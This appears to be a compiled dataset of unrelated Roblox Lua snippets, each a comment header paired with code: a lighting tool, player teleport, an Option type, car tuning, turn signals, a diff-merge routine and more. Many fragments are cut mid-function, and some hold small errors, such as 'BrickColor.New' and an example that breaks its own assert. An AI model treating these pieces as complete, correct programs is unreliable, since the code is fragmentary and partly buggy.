OpenLightOptions(LightType);
end;
function RemoveLights(LightType)
-- Get all the lights in the selection
local Lights = GetLights(LightType);
-- Create the history record
local HistoryRecord = {
Lights = Lights;
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Restore the lights
Core.SyncAPI:Invoke('UndoRemove', Record.Lights);
-- Select changed parts
Selection.Replace(Record.Selection)
end;
Apply = function (Record)
-- Reapplies this change
-- Select changed parts
Selection.Replace(Record.Selection)
-- Remove the lights
Core.SyncAPI:Invoke('Remove', Record.Lights);
end;
};
-- Send the removal request
Core.SyncAPI:Invoke('Remove', Lights);
-- Register the history record
Core.History.Add(HistoryRecord);
end;
function TrackChange()
-- Start the record
HistoryRecord = {
Before = {};
After = {};
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Send the change request
Core.SyncAPI:Invoke('SyncLighting', Record.Before);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Send the change request
Core.SyncAPI:Invoke('SyncLighting', Record.After);
end;
};
end;
function RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not HistoryRecord then
return;
end;
-- Send the change to the server
Core.SyncAPI:Invoke('SyncLighting', HistoryRecord.After);
-- Register the record and clear the staging
Core.History.Add(HistoryRecord);
HistoryRecord = nil;
end;
function SetRange(LightType, Range)
-- Make sure the given range is valid
if not Range then
return;
end;
-- Start a history record
TrackChange();
-- Go through each light
for _, Light in pairs(GetLights(LightType)) do
-- Store the state of the light before modification
table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Range = Light.Range });
-- Create the change request for this light
table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Range = Range });
end;
-- Register the changes
RegisterChange();
end;
function SetBrightness(LightType, Brightness)
-- Make sure the given brightness is valid
if not Brightness then
return;
end;
-- Start a history record
TrackChange();
-- Go through each light
for _, Light in pairs(GetLights(LightType)) do
-- Store the state of the light before modification
table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Brightness = Light.Brightness });
-- Create the change request for this light
table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Brightness = Brightness });
end;
-- Register the changes
RegisterChange();
end;
function SetColor(LightType, Color)
-- Make sure the given color is valid
if not Color then
return;
end;
-- Start a history record
TrackChange();
-- Go through each light
for _, Light in pairs(GetLights(LightType)) do
-- Store the state of the light before modification
table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Color = Light.Color });
-- Create the change request for this light
table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Color = Color });
end;
-- Register the changes
RegisterChange();
end;
function ToggleShadows(LightType)
-- Determine whether to turn shadows on or off
local ShadowsEnabled = not Support.IdentifyCommonProperty(GetLights(LightType), 'Shadows');
-- Start a history record
TrackChange();
-- Go through each light
for _, Light in pairs(GetLights(LightType)) do
-- Store the state of the light before modification
table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Shadows = Light.Shadows });
-- Create the change request for this light
table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Shadows = ShadowsEnabled });
end;
-- Register the changes
RegisterChange();
end;
function SetSurface(LightType, Face)
-- Make sure the given face is valid, and this is an applicable light type
if not Face or not (LightType == 'SurfaceLight' or LightType == 'SpotLight') then
return;
end;
-- Start a history record
TrackChange();
-- Go through each light
for _, Light in pairs(GetLights(LightType)) do
-- Store the state of the light before modification
table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Face = Light.Face });
-- Create the change request for this light
table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Face = Face });
end;
-- Register the changes
RegisterChange();
end;
function SetAngle(LightType, Angle)
-- Make sure the given angle is valid
if not Angle then
return;
end;
-- Start a history record
TrackChange();
-- Go through each light
for _, Light in pairs(GetLights(LightType)) do
-- Store the state of the light before modification
table.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Angle = Light.Angle });
-- Create the change request for this light
table.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Angle = Angle });
end;
-- Register the changes
RegisterChange();
end;
|
-- Moves playerToTeleport close to destinationPlayer, if possible. Returns wether or not the operation succeeded
|
function TeleportToPlayer.teleport(playerToTeleport: Player, destinationPlayer: Player, teleportDistance: number)
teleportDistance = teleportDistance or DEFAULT_TELEPORT_DISTANCE
local spawnPoint = TeleportToPlayer.getCharacterTeleportPoint(destinationPlayer.Character, teleportDistance)
if not spawnPoint or not TeleportToPlayer.validate(playerToTeleport, destinationPlayer, spawnPoint) then
return false
end
local rootPart = playerToTeleport.Character and playerToTeleport.Character:FindFirstChild("HumanoidRootPart")
local humanoid = playerToTeleport.Character and playerToTeleport.Character:FindFirstChild("Humanoid")
if not rootPart or not humanoid then
return false
end
if humanoid.Sit then -- Un-sits the player, otherwise the seat will be moved as well
humanoid.Sit = false
humanoid.Seated:Wait() -- Humanoid.Seated fires when the player stands up, after the seat weld is removed
end
-- Inspired from https://developer.roblox.com/en-us/api-reference/property/Humanoid/HipHeight
local rootPartHeight = humanoid.HipHeight + rootPart.Size.Y / 2
if humanoid.RigType == Enum.HumanoidRigType.R6 then
local leg = humanoid.Parent:FindFirstChild("Left Leg") or humanoid.Parent:FindFirstChild("Right Leg")
if leg then
rootPartHeight += leg.Size.Y
end
end
rootPart.CFrame = spawnPoint + Vector3.new(0, rootPartHeight, 0)
return true
end
|
--[[
MatchTable {
Some: (value: any) -> any
None: () -> any
}
CONSTRUCTORS:
Option.Some(anyNonNilValue): Option<any>
Option.Wrap(anyValue): Option<any>
STATIC FIELDS:
Option.None: Option<None>
STATIC METHODS:
Option.Is(obj): boolean
METHODS:
opt:Match(): (matches: MatchTable) -> any
opt:IsSome(): boolean
opt:IsNone(): boolean
opt:Unwrap(): any
opt:Expect(errMsg: string): any
opt:ExpectNone(errMsg: string): void
opt:UnwrapOr(default: any): any
opt:UnwrapOrElse(default: () -> any): any
opt:And(opt2: Option<any>): Option<any>
opt:AndThen(predicate: (unwrapped: any) -> Option<any>): Option<any>
opt:Or(opt2: Option<any>): Option<any>
opt:OrElse(orElseFunc: () -> Option<any>): Option<any>
opt:XOr(opt2: Option<any>): Option<any>
opt:Contains(value: any): boolean
--------------------------------------------------------------------
Options are useful for handling nil-value cases. Any time that an
operation might return nil, it is useful to instead return an
Option, which will indicate that the value might be nil, and should
be explicitly checked before using the value. This will help
prevent common bugs caused by nil values that can fail silently.
Example:
local result1 = Option.Some(32)
local result2 = Option.Some(nil)
local result3 = Option.Some("Hi")
local result4 = Option.Some(nil)
local result5 = Option.None
-- Use 'Match' to match if the value is Some or None:
result1:Match {
Some = function(value) print(value) end;
None = function() print("No value") end;
}
-- Raw check:
if result2:IsSome() then
local value = result2:Unwrap() -- Explicitly call Unwrap
print("Value of result2:", value)
end
if result3:IsNone() then
print("No result for result3")
end
-- Bad, will throw error bc result4 is none:
local value = result4:Unwrap()
--]]
|
local CLASSNAME = "Option"
local Option = {}
Option.__index = Option
function Option._new(value)
local self = setmetatable({
ClassName = CLASSNAME;
_v = value;
_s = (value ~= nil);
}, Option)
return self
end
function Option.Some(value)
assert(value ~= nil, "Option.Some() value cannot be nil")
return Option._new(value)
end
function Option.Wrap(value)
if (value == nil) then
return Option.None
else
return Option.Some(value)
end
end
function Option.Is(obj)
return (type(obj) == "table" and getmetatable(obj) == Option)
end
function Option.Assert(obj)
assert(Option.Is(obj), "Result was not of type Option")
end
function Option.Deserialize(data) -- type data = {ClassName: string, Value: any}
assert(type(data) == "table" and data.ClassName == CLASSNAME, "Invalid data for deserializing Option")
return (data.Value == nil and Option.None or Option.Some(data.Value))
end
function Option:Serialize()
return {
ClassName = self.ClassName;
Value = self._v;
}
end
function Option:Match(matches)
local onSome = matches.Some
local onNone = matches.None
assert(type(onSome) == "function", "Missing 'Some' match")
assert(type(onNone) == "function", "Missing 'None' match")
if (self:IsSome()) then
return onSome(self:Unwrap())
else
return onNone()
end
end
function Option:IsSome()
return self._s
end
function Option:IsNone()
return (not self._s)
end
function Option:Expect(msg)
assert(self:IsSome(), msg)
return self._v
end
function Option:ExpectNone(msg)
assert(self:IsNone(), msg)
end
function Option:Unwrap()
return self:Expect("Cannot unwrap option of None type")
end
function Option:UnwrapOr(default)
if (self:IsSome()) then
return self:Unwrap()
else
return default
end
end
function Option:UnwrapOrElse(defaultFunc)
if (self:IsSome()) then
return self:Unwrap()
else
return defaultFunc()
end
end
function Option:And(optB)
if (self:IsSome()) then
return optB
else
return Option.None
end
end
function Option:AndThen(andThenFunc)
if (self:IsSome()) then
local result = andThenFunc(self:Unwrap())
Option.Assert(result)
return result
else
return Option.None
end
end
function Option:Or(optB)
if (self:IsSome()) then
return self
else
return optB
end
end
function Option:OrElse(orElseFunc)
if (self:IsSome()) then
return self
else
local result = orElseFunc()
Option.Assert(result)
return result
end
end
function Option:XOr(optB)
local someOptA = self:IsSome()
local someOptB = optB:IsSome()
if (someOptA == someOptB) then
return Option.None
elseif (someOptA) then
return self
else
return optB
end
end
function Option:Filter(predicate)
if (self:IsNone() or not predicate(self._v)) then
return Option.None
else
return self
end
end
function Option:Contains(value)
return (self:IsSome() and self._v == value)
end
function Option:__tostring()
if (self:IsSome()) then
return ("Option<" .. typeof(self._v) .. ">")
else
return "Option<None>"
end
end
function Option:__eq(opt)
if (Option.Is(opt)) then
if (self:IsSome() and opt:IsSome()) then
return (self:Unwrap() == opt:Unwrap())
elseif (self:IsNone() and opt:IsNone()) then
return true
end
end
return false
end
Option.None = Option._new()
return Option
|
--Output Cache
|
local HPCache = {}
if _Tune.CacheTorque then
for gear,ratio in pairs(_Tune.Ratios) do
local hpPlot = {}
for rpm = math.floor(_Tune.IdleRPM/_Tune.CacheRPMInc),math.ceil((_Tune.Redline+100)/_Tune.CacheRPMInc) do
local tqPlot = {}
tqPlot.Horsepower,tqPlot.Torque = GetCurve(rpm*_Tune.CacheRPMInc,gear-2)
hp1,tq1 = GetCurve((rpm+1)*_Tune.CacheRPMInc,gear-2)
tqPlot.HpSlope = (hp1 - tqPlot.Horsepower)/(_Tune.CacheRPMInc/1000)
tqPlot.TqSlope = (tq1 - tqPlot.Torque)/(_Tune.CacheRPMInc/1000)
hpPlot[rpm] = tqPlot
end
table.insert(HPCache,hpPlot)
end
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 300 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 7200 -- Use sliders to manipulate values
Tune.Redline = 7700
Tune.EqPoint = 7250
Tune.PeakSharpness = 9.5
Tune.CurveMult = 0.15
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--[[Engine]]
--Torque Curve
|
Tune.Horsepower = 288 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
|
----------------------------------------------------------------------------------------------------
--------------------=[ OUTROS ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,FastReload = true --- Automatically operates the bolt on reload if needed
,SlideLock = false
,MoveBolt = true
,BoltLock = false
,CanBreachDoor = false
,CanBreak = true --- Weapon can jam?
,JamChance = 1000 --- This old piece of brick doesn't work fine >;c
,IncludeChamberedBullet = true --- Include the chambered bullet on next reload
,Chambered = false --- Start with the gun chambered?
,LauncherReady = false --- Start with the GL ready?
,CanCheckMag = true --- You can check the magazine
,ArcadeMode = false --- You can see the bullets left in magazine
,RainbowMode = false --- Operation: Party Time xD
,ModoTreino = false --- Surrender enemies instead of killing them
,GunSize = 4
,GunFOVReduction = 5
,BoltExtend = Vector3.new(0, 0, 0.4)
,SlideExtend = Vector3.new(0, 0, 0.4)
|
--------LEFT DOOR --------
|
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(106)
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 10 -- cooldown for use of the tool again
ZoneModelName = "Void of true power" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--bp.Position = shelly.PrimaryPart.Position
|
if not shellyGood then bp.Parent,bg.Parent= nil,nil return end
bp.Parent = nil
wait(math.random(3,8))
end
local soundBank = game.ReplicatedStorage.Sounds.NPC.Shelly:GetChildren()
shelly.Health.Changed:connect(function()
if shellyGood then
bp.Parent,bg.Parent= nil,nil
shelly.PrimaryPart.Transparency =1
shelly.PrimaryPart.CanCollide = false
shelly.Shell.Transparency = 1
shelly.HitShell.Transparency = 0
shelly.HitShell.CanCollide = true
shellyGood = false
ostrich = tick()
shelly:SetPrimaryPartCFrame(shelly.PrimaryPart.CFrame*CFrame.new(0,2,0))
local hitSound = soundBank[math.random(1,#soundBank)]:Clone()
hitSound.PlayOnRemove = true
hitSound.Parent = shelly.PrimaryPart
wait()
hitSound:Destroy()
repeat wait() until tick()-ostrich > 20
shelly.PrimaryPart.Transparency = 0
shelly.PrimaryPart.CanCollide = true
shelly.Shell.Transparency = 0
shelly.HitShell.Transparency = 1
shelly.HitShell.CanCollide = false
bp.Parent,bg.Parent = shelly.PrimaryPart,shelly.PrimaryPart
shellyGood = true
end
end)
while true do
if shellyGood then
MoveShelly()
else
wait(1)
end
end
|
---------------------------------------------------
|
This = script.Parent
Characters = require(script.Characters)
This.Parent.Parent.Parent.Parent.Parent:WaitForChild("Floor").Changed:connect(function(floor)
--custom indicator code--
ChangeFloor(tostring(floor))
end)
function ChangeFloor(SF)
SetDisplay(2,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))
SetDisplay(3,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end
function SetDisplay(ID,CHAR)
if This.Display:FindFirstChild("Matrix"..ID) and Characters[CHAR] ~= nil then
for i,l in pairs(Characters[CHAR]) do
for r=1,5 do
This.Display["Matrix"..ID]["Row"..i]["D"..r].Visible = (l:sub(r,r) == "1" and true or false)
end
end
end
end
for M = 1, Displays do
for R = 1, 7 do
for D = 1, 5 do
This.Display["Matrix"..M]["Row"..R]["D"..D].ImageColor3 = DisplayColor
end
end
end
|
--Made by Repressed_Memories
-- Edited by Truenus
|
local component = script.Parent.Parent
local car = script.Parent.Parent.Parent.Parent.Car.Value
local mouse = game.Players.LocalPlayer:GetMouse()
local leftsignal = "z"
local rightsignal = "c"
local hazards = "x"
local hazardson = false
local lefton = false
local righton = false
local leftlight = car.Body.Lights.Left.TurnSignal.TSL
local rightlight = car.Body.Lights.Right.TurnSignal.TSL
local leftfront = car.Body.Lights.Left.TurnSignal2
local rightfront = car.Body.Lights.Right.TurnSignal2
local signalblinktime = 0.32
local neonleft = car.Body.Lights.Left.TurnSignal
local neonright = car.Body.Lights.Right.TurnSignal
local on = BrickColor.New("New Yeller")
local off = BrickColor.New("Medium stone grey")
mouse.KeyDown:connect(function(lkey)
local key = string.lower(lkey)
if key == leftsignal then
if lefton == false then
lefton = true
repeat
neonleft.BrickColor = on
leftlight.Enabled = true
neonleft.Material = "Neon"
leftfront.Material = "Neon"
component.TurnSignal:play()
wait(signalblinktime)
neonleft.BrickColor = off
component.TurnSignal:play()
neonleft.Material = "SmoothPlastic"
leftfront.Material = "SmoothPlastic"
leftlight.Enabled = false
wait(signalblinktime)
until
lefton == false or righton == true
elseif lefton == true or righton == true then
lefton = false
component.TurnSignal:stop()
leftlight.Enabled = false
end
elseif key == rightsignal then
if righton == false then
righton = true
repeat
neonright.BrickColor = on
rightlight.Enabled = true
neonright.Material = "Neon"
rightfront.Material = "Neon"
component.TurnSignal:play()
wait(signalblinktime)
neonright.BrickColor = off
component.TurnSignal:play()
neonright.Material = "SmoothPlastic"
rightfront.Material = "SmoothPlastic"
rightlight.Enabled = false
wait(signalblinktime)
until
righton == false or lefton == true
elseif righton == true or lefton == true then
righton = false
component.TurnSignal:stop()
rightlight.Enabled = false
end
elseif key == hazards then
if hazardson == false then
hazardson = true
repeat
neonright.BrickColor = on
neonleft.BrickColor = on
neonright.Material = "Neon"
rightfront.Material = "Neon"
neonleft.Material = "Neon"
leftfront.Material = "Neon"
component.TurnSignal:play()
rightlight.Enabled = true
leftlight.Enabled = true
wait(signalblinktime)
neonright.BrickColor = off
neonleft.BrickColor = off
component.TurnSignal:play()
neonright.Material = "SmoothPlastic"
rightfront.Material = "SmoothPlastic"
neonleft.Material = "SmoothPlastic"
leftfront.Material = "SmoothPlastic"
rightlight.Enabled = false
leftlight.Enabled = false
wait(signalblinktime)
until
hazardson == false
elseif hazardson == true then
hazardson = false
component.TurnSignal:stop()
rightlight.Enabled = false
leftlight.Enabled = false
end
end
end)
|
-- Touched events
|
F_Detector.Touched:Connect(function(x)
speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude)))
handle('front', x)
end)
FL_Detector.Touched:Connect(function(x)
speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude)))
handle('frontleft', x)
end)
FR_Detector.Touched:Connect(function(x)
speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude)))
handle('frontright', x)
end)
R_Detector.Touched:Connect(function(x)
speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude)))
handle('right', x)
end)
L_Detector.Touched:Connect(function(x)
speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude)))
handle('left', x)
end)
|
-- Referencing Game Objects --
|
local baseplate = game.Workspace.Baseplate
local myPart = game.Workspace.block1
myPart.Transparency = 0.5
baseplate.BrickColor = BrickColor.Green()
|
-- Initialize material tool
|
local MaterialTool = require(CoreTools:WaitForChild 'Material')
Core.AssignHotkey('N', Core.Support.Call(Core.EquipTool, MaterialTool));
Core.Dock.AddToolButton(Core.Assets.MaterialIcon, 'N', MaterialTool, 'MaterialInfo');
|
--[[
README
This clock uses the time in Lighting to display the time by default
Change the option USE_CUSTOM_TIME to true in order to control the clock time yourself
Use the MinutesAfterMidnight NumberValue in the DigitalClock model to set the time
You can change the refresh rate of the clock using the NumberValue child of this script
Click on this model to turn it on/off
This model can be safely resized
]]
| |
--[=[
Checks if the given object is a Symbol.
@param obj any -- Anything
@return boolean -- Returns `true` if the `obj` parameter is a Symbol
]=]
|
function Symbol.Is(obj: any): boolean
return type(obj) == "table" and getmetatable(obj) == Symbol
end
|
--[[Running Logic]]
|
--
local anitrack = animator.Value:LoadAnimation(animation)
anitrack:Play()
wait(10)
script:Destroy()
|
-- Hat giver script.
|
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Russian cop"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = script.Parent.formFactor
p.Size = Vector3.new(1, 1, 1)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentForward = Vector3.new(0, -0.1, -0.995)
h.AttachmentPos = Vector3.new(0, -0.17, 0.1)
h.AttachmentRight = Vector3.new(1,0,0)
h.AttachmentUp = Vector3.new(0, 0.995, -0.1)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
-- cuts part into two based on an axis aligned plane
|
local function slicePart(part, origin, normal)
local verts = blockVerts(part.CFrame, part.Size/2);
if (normal:Dot(POSITIVEDIR) < 0) then
normal = -normal;
end
local distances = {};
for i = 1, #verts do
distances[#distances+1] = (verts[i] - origin):Dot(normal);
end
local min = math.min(unpack(distances));
local max = math.max(unpack(distances));
local v = part.Position - origin;
local center = (v - v:Dot(normal)*normal) + origin;
local size = part.Size - part.Size*normal;
local pos1, size1;
if (max >= 0.05) then
pos1 = center + normal*max/2;
size1 = size + max*normal;
end
local pos2, size2;
if (min <= -0.05) then
pos2 = center + normal*min/2;
size2 = size - min*normal;
end
return pos1, size1, pos2, size2;
end
|
-- ROBLOX deviation: no need for regex patterns
|
_diff_cleanupMerge = function(diffs: Array<Diff>)
diffs[#diffs + 1] = Diff.new(DIFF_EQUAL, "") -- Add a dummy entry at the end.
local pointer = 1
local count_delete, count_insert = 0, 0
local text_delete, text_insert = "", ""
local commonlength
while diffs[pointer] do
local diff_type = diffs[pointer][1]
if diff_type == DIFF_INSERT then
count_insert = count_insert + 1
text_insert = text_insert .. diffs[pointer][2]
pointer = pointer + 1
elseif diff_type == DIFF_DELETE then
count_delete = count_delete + 1
text_delete = text_delete .. diffs[pointer][2]
pointer = pointer + 1
elseif diff_type == DIFF_EQUAL then
-- Upon reaching an equality, check for prior redundancies.
if count_delete + count_insert > 1 then
if count_delete > 0 and count_insert > 0 then
-- Factor out any common prefixies.
commonlength = _diff_commonPrefix(text_insert, text_delete)
if commonlength > 0 then
local back_pointer = pointer - count_delete - count_insert
if back_pointer > 1 and diffs[back_pointer - 1][1] == DIFF_EQUAL then
diffs[back_pointer - 1][2] = diffs[back_pointer - 1][2]
.. strsub(text_insert, 1, commonlength)
else
tinsert(diffs, 1, Diff.new(DIFF_EQUAL, strsub(text_insert, 1, commonlength)))
pointer = pointer + 1
end
text_insert = strsub(text_insert, commonlength + 1)
text_delete = strsub(text_delete, commonlength + 1)
end
-- Factor out any common suffixies.
commonlength = _diff_commonSuffix(text_insert, text_delete)
if commonlength ~= 0 then
diffs[pointer][2] = strsub(text_insert, -commonlength) .. diffs[pointer][2]
text_insert = strsub(text_insert, 1, -commonlength - 1)
text_delete = strsub(text_delete, 1, -commonlength - 1)
end
end
-- Delete the offending records and add the merged ones.
pointer = pointer - count_delete - count_insert
for i = 1, count_delete + count_insert do
tremove(diffs, pointer)
end
if #text_delete > 0 then
tinsert(diffs, pointer, Diff.new(DIFF_DELETE, text_delete))
pointer = pointer + 1
end
if #text_insert > 0 then
tinsert(diffs, pointer, Diff.new(DIFF_INSERT, text_insert))
pointer = pointer + 1
end
pointer = pointer + 1
elseif pointer > 1 and diffs[pointer - 1][1] == DIFF_EQUAL then
-- Merge this equality with the previous one.
diffs[pointer - 1][2] = diffs[pointer - 1][2] .. diffs[pointer][2]
tremove(diffs, pointer)
else
pointer = pointer + 1
end
count_insert, count_delete = 0, 0
text_delete, text_insert = "", ""
end
end
if diffs[#diffs][2] == "" then
diffs[#diffs] = nil -- Remove the dummy entry at the end.
end
-- Second pass: look for single edits surrounded on both sides by equalities
-- which can be shifted sideways to eliminate an equality.
-- e.g: A<ins>BA</ins>C -> <ins>AB</ins>AC
local changes = false
pointer = 2
-- Intentionally ignore the first and last element (don't need checking).
while pointer < #diffs do
local prevDiff, nextDiff = diffs[pointer - 1], diffs[pointer + 1]
if prevDiff[1] == DIFF_EQUAL and nextDiff[1] == DIFF_EQUAL then
-- This is a single edit surrounded by equalities.
local diff = diffs[pointer]
local currentText = diff[2]
local prevText = prevDiff[2]
local nextText = nextDiff[2]
if #prevText == 0 then
tremove(diffs, pointer - 1)
changes = true
elseif strsub(currentText, -#prevText) == prevText then
-- Shift the edit over the previous equality.
diff[2] = prevText .. strsub(currentText, 1, -#prevText - 1)
nextDiff[2] = prevText .. nextDiff[2]
tremove(diffs, pointer - 1)
changes = true
elseif strsub(currentText, 1, #nextText) == nextText then
-- Shift the edit over the next equality.
prevDiff[2] = prevText .. nextText
diff[2] = strsub(currentText, #nextText + 1) .. nextText
tremove(diffs, pointer + 1)
changes = true
end
end
pointer = pointer + 1
end
-- If shifts were made, the diff needs reordering and another shift sweep.
if changes then
-- LUANOTE: no return value, but necessary to use 'return' to get
-- tail calls.
return _diff_cleanupMerge(diffs)
end
return
end
return {
Diff = Diff,
DIFF_EQUAL = DIFF_EQUAL,
DIFF_DELETE = DIFF_DELETE,
DIFF_INSERT = DIFF_INSERT,
cleanupSemantic = diff_cleanupSemantic,
-- private, used for testing only
_diff_commonPrefix = _diff_commonPrefix,
_diff_commonSuffix = _diff_commonSuffix,
_diff_commonOverlap = _diff_commonOverlap,
_diff_cleanupMerge = _diff_cleanupMerge,
_diff_cleanupSemanticLossless = _diff_cleanupSemanticLossless,
}
|
--------------------[ KEYBOARD FUNCTIONS ]--------------------------------------------
|
function KeyDown(K)
local Key = string.lower(K)
if Key == S.LowerStanceKey and S.CanChangeStance then
if (not Running) then
if Stance == 0 then
Crouch()
elseif Stance == 1 then
Prone()
end
elseif S.DolphinDive then
delay(1 / 30,function()
CanRun = false
Dive(S.BaseWalkSpeed)
Run_Key_Pressed = false
wait(S.DiveRechargeTime)
CanRun = true
end)
end
end
if Key == S.RaiseStanceKey and S.CanChangeStance then
if (not Running) then
if Stance == 2 then
Crouch()
elseif Stance == 1 then
Stand()
end
end
end
if Key == S.ReloadKey then
if (not Reloading) and (not Running) then
Reload()
end
end
if Key == S.KnifeKey and S.CanKnife then
if KnifeReady and (not Knifing) and (not ThrowingGrenade) then
if Aimed then UnAimGun(true) end
BreakReload = true
Knifing = true
KnifeReady = false
KnifeAnim()
BreakReload = false
Knifing = false
delay(S.KnifeCooldown, function()
KnifeReady = true
end)
end
end
if Key == S.SprintKey then
Run_Key_Pressed = true
if Aimed and (not Aiming) then
TakingBreath = false
SteadyCamera()
end
if CanRun then
if (not Idleing) and Walking and (not Running) and (not Knifing) and (not ThrowingGrenade) then
if Reloading then BreakReload = true end
MonitorStamina()
end
end
end
end
function KeyUp(K)
local Key = string.lower(K)
if Key == S.SprintKey then
Run_Key_Pressed = false
Running = false
if (not ChargingStamina) then
RechargeStamina()
end
end
end
|
--Gets a remote event. It does not check the class.
|
function RemoteEventCreator:GetRemoteFunction(Name)
return RemoteEventCreator:GetRemoteEvent(Name)
end
return RemoteEventCreator
|
-- Stop the shimmer
|
local function stopShimmer()
shim:Cancel()
end
|
--[[ Script Variables ]]
|
--
while not Players.LocalPlayer do
task.wait()
end
local LocalPlayer = Players.LocalPlayer
local Humanoid = MasterControl:GetHumanoid()
local JumpButton = nil
local OnInputEnded = nil -- defined in Create()
local CharacterAddedConnection = nil
local HumStateConnection = nil
local HumChangeConnection = nil
local ExternallyEnabled = false
local JumpPower = 0
local JumpStateEnabled = true
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local mult=0
local det=.13
local trm=.4
local trmmult=0
local trmon=0
local throt=0
local redline=0
local shift=0
script:WaitForChild("Rev")
script.Parent.Values.Gear.Changed:connect(function()
mult=1.2
if script.Parent.Values.RPM.Value>5000 then
shift=.2
end
end)
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("playSound","Rev")
car.DriveSeat:WaitForChild("Rev")
game["Run Service"].Stepped:connect(function()
mult=math.max(0,mult-.1)
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
throt = math.max(.3,throt-.2)
trmmult = math.max(0,trmmult-.05)
trmon = 1
else
throt = math.min(1,throt+.1)
trmmult = 1
trmon = 0
end
shift = math.min(1,shift+.2)
if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
redline=.5
else
redline=1
end
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
local Volume = (1*throt*shift*redline)+(trm*trmon*trmmult*(1-throt)*math.sin(tick()*50))
local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value)
if FE then
handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,Volume)
else
car.DriveSeat.Rev.Volume = Volume
car.DriveSeat.Rev.Pitch = Pitch
end
end)
|
-- Create variable for easy reference to our Lava Bricks folder
|
local LavaBricks = game.Workspace:WaitForChild("Lava Bricks"):GetChildren()
|
--doEvent()
